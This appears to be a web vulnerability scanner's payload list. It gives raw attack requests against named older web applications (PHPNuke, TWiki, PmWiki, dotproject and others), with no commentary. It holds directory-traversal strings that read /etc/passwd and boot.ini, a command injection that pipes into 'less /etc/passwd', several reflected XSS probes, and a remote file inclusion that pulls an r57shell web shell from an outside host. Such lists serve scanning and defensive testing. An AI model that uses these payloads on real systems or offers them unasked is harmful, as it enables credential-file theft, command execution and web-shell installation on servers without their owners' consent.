PHPNuke 7.8 Remote Directory Traversal

modules.php?name=Search&file=../../../../../../../../../../etc/passwd%00

modules.php?name=Search&file=../../../../../../../../../../../boot.ini%00






TWiki rev Parameter Remote Command Execution Vulnerability

view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd

view/Main/TWikiUsers?rev%3D2%20%7Ctype%20%5Cboot%2Eini

PmWiki 2.0.12 q-Parameter XSS

pmwiki.php ?n=Site.Search?action=search&q=test_search_item%27%20onMouseOver%3D%27alert%28% 22wvs-xss-magic

-string-${random}%22%29%3B%27%20



ProjectApp v.3.3 XSS

default.asp ?skin_number=XSS.css%22%3E%3Cscript%3Ealert('wvs-xss-magic-string-${random}')%3C/script%3E%3C

IntranetApp v.3.3 XSS

login.asp ?ret_page=a%22%3E%3Cscript%3Ealert('xss-${random}')%3C/script%3E%3C%22

dotproject v.2.0.1 File Inclusion

includes/db_adodb.php?baseDir=http://rst.void.ru/download/r57shell.txt

Qwiki v.1.5.1 XSS

index.php?page=Home&from='%3Cscript%3Ealert(%22xss-${random}%22)%3C/script%3E